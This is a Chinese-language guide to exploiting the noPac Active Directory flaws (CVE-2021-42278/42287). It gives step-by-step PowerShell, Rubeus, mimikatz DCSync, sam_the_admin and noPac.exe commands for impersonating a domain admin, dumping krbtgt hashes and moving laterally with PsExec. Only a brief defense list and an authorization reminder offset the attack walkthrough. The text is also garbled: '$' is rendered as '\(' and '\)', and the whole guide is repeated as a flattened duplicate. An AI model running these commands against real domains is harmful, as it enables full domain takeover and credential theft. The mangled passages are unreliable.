CVE-2021-42287&CVE-2021-42278 域内提权
字数 1067 2025-08-24 20:49:22

CVE-2021-42287 & CVE-2021-42278 域内提权漏洞分析与利用指南

漏洞概述

这两个漏洞组合被称为"noPac"漏洞,允许攻击者在Active Directory域环境中通过特定的机器账户操作实现权限提升,最终获取域控制器的控制权。

CVE-2021-42278

  • 漏洞本质:Active Directory未正确验证域内机器账户名的格式
  • 细节:机器账户通常应以"\("结尾,但AD未强制验证此规则,允许创建不以"\)"结尾的机器账户

CVE-2021-42287

  • 漏洞本质:Kerberos协议实现中的逻辑缺陷
  • 细节:当请求的服务账户不存在时,KDC会错误地使用域控制器的密钥加密TGS票据,并提供高权限PAC

漏洞组合利用原理

  1. 初始条件:域内有一台域控名为DC(对应的机器用户为DC$)
  2. 攻击步骤
    • 创建一个普通机器账户(如SAMTHEADMIN-48$)
    • 将该机器账户的sAMAccountName属性修改为与域控相同的名称(DC)
    • 使用修改后的名称(DC)请求TGT票据
    • 将机器账户名称改回原始名称(SAMTHEADMIN-48$)
    • 利用获得的TGT进行S4U2self请求,模拟域管理员
    • KDC在TGS_REP阶段发现"DC"账户不存在,会使用DC$的密钥加密TGS票据
    • 最终获得域控制器的高权限服务票据

手工复现步骤

1. 创建机器账户

$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

2. 清除SPN记录

Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose

3. 重命名机器账户

Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose

4. 请求TGT票据

Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap

5. 恢复机器账户名称

Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose

6. 通过S4U2self请求服务票据

Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]

7. 执行DCSync攻击

lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

使用sam-the-admin工具复现

前置条件

  • 拥有一个有效的域用户凭证

攻击主域控

python3 sam_the_admin.py domain/user:password -dc-ip domain_controller_ip -shell

攻击子域控

python3 sam_the_admin.py child.domain/user:password -dc-ip child_dc_ip -shell

使用noPac工具复现

1. 扫描探测

.\noPac.exe scan -domain domain.name -user username -pass 'password'

2. 直接利用

.\noPac.exe -domain domain.name -user username -pass 'password' /dc dc_ip /mAccount machine_account /mPassword machine_password /service cifs /ptt

3. 深度利用(横向移动)

PsExec64.exe \\target_ip -u domain\user -i -p password -s cmd.exe

协议选择建议

  1. CIFS协议

    • 优点:可直接访问文件共享
    • 缺点:票据有效期较短,可能快速失效
  2. LDAP协议

    • 优点:票据不会自动失效
    • 缺点:不能直接用于文件访问

防御建议

  1. 及时安装微软发布的补丁
  2. 监控域内机器账户的创建和修改操作
  3. 实施严格的机器账户命名策略
  4. 监控异常的Kerberos票据请求
  5. 限制普通用户创建机器账户的权限

工具下载

  • noPac工具:GitHub
  • sam-the-admin工具:GitHub
  • Impacket工具包:GitHub

注意事项

  1. 低版本Kali Linux可能无法正常显示命令执行窗口
  2. 实际操作中需根据目标环境调整参数
  3. 测试前应确保获得合法授权
  4. 不同工具可能对域环境有不同要求
CVE-2021-42287 & CVE-2021-42278 域内提权漏洞分析与利用指南 漏洞概述 这两个漏洞组合被称为"noPac"漏洞,允许攻击者在Active Directory域环境中通过特定的机器账户操作实现权限提升,最终获取域控制器的控制权。 CVE-2021-42278 漏洞本质 :Active Directory未正确验证域内机器账户名的格式 细节 :机器账户通常应以"$"结尾,但AD未强制验证此规则,允许创建不以"$"结尾的机器账户 CVE-2021-42287 漏洞本质 :Kerberos协议实现中的逻辑缺陷 细节 :当请求的服务账户不存在时,KDC会错误地使用域控制器的密钥加密TGS票据,并提供高权限PAC 漏洞组合利用原理 初始条件 :域内有一台域控名为DC(对应的机器用户为DC$) 攻击步骤 : 创建一个普通机器账户(如SAMTHEADMIN-48$) 将该机器账户的sAMAccountName属性修改为与域控相同的名称(DC) 使用修改后的名称(DC)请求TGT票据 将机器账户名称改回原始名称(SAMTHEADMIN-48$) 利用获得的TGT进行S4U2self请求,模拟域管理员 KDC在TGS_ REP阶段发现"DC"账户不存在,会使用DC$的密钥加密TGS票据 最终获得域控制器的高权限服务票据 手工复现步骤 1. 创建机器账户 2. 清除SPN记录 3. 重命名机器账户 4. 请求TGT票据 5. 恢复机器账户名称 6. 通过S4U2self请求服务票据 7. 执行DCSync攻击 使用sam-the-admin工具复现 前置条件 拥有一个有效的域用户凭证 攻击主域控 攻击子域控 使用noPac工具复现 1. 扫描探测 2. 直接利用 3. 深度利用(横向移动) 协议选择建议 CIFS协议 : 优点:可直接访问文件共享 缺点:票据有效期较短,可能快速失效 LDAP协议 : 优点:票据不会自动失效 缺点:不能直接用于文件访问 防御建议 及时安装微软发布的补丁 监控域内机器账户的创建和修改操作 实施严格的机器账户命名策略 监控异常的Kerberos票据请求 限制普通用户创建机器账户的权限 工具下载 noPac工具:GitHub sam-the-admin工具:GitHub Impacket工具包:GitHub 注意事项 低版本Kali Linux可能无法正常显示命令执行窗口 实际操作中需根据目标环境调整参数 测试前应确保获得合法授权 不同工具可能对域环境有不同要求